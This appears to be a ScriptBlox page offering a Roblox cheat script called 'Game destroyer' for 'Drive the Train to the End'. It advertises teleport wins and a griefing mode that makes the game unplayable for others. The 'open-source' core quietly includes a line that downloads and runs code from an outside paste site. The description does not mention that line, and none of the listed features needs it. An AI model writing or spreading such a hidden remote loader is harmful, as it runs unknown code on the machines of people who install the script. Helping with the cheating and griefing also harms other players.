Drive the train to the end
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553 Executions

Game destroyer

Drive the train to the end
nescoro
nescoroLoved
2 years ago
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Game destroyer is a Drive the train to the end script for Roblox, uploaded to ScriptBlox on Apr 29, 2025.

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Description

Open-source, no GUI, available for Windows, iOS, Android, Linux, MacOS, etc. (basically everything). Made by Nescoroco. Game: Drive the Train to the End Features (toggle with True/False for On/Off): - Instant Win - Free Secret Train - Teleport to Lobby - Block the Way (basically makes the game unplayable)

View Raw
-- Write True or False to activate or deactivate functions
-- (Every action has a 1 seg cooldown)
local tp1=true -- Win

local tp2=false -- Easter Egg Train

local spinLock=true -- Block the way

local tp3=false -- Lobby



-- Script core
local p=game.Players.LocalPlayer.Character.HumanoidRootPart hum=game.Players.LocalPlayer.Character:WaitForChild("Humanoid") local function teleport(pos) p.CFrame=CFrame.new(pos) wait(1) end if tp1 then teleport(Vector3.new(361.52,-0.07,162.70)) end if tp2 then teleport(Vector3.new(306.30,34.74,440.58)) end if tp3 then teleport(Vector3.new(195,0.07,24.74)) end loadstring(game:HttpGet('https://paste.myconan.net/572800.txt'))() if spinLock then local rs=game:GetService("RunService") if not workspace:FindFirstChild("SpinFlag") then local f=Instance.new("BoolValue",workspace) f.Name="SpinFlag" rs:BindToRenderStep("SpinEffect",Enum.RenderPriority.Character.Value+1,function() if not f.Parent then return end p.CFrame=CFrame.new(88.58,0.75,108.04)*CFrame.Angles(0,math.rad(tick()*100),0) p.Velocity=Vector3.zero hum.PlatformStand=true end) else workspace.SpinFlag:Destroy() rs:UnbindFromRenderStep("SpinEffect") hum.PlatformStand=false end end


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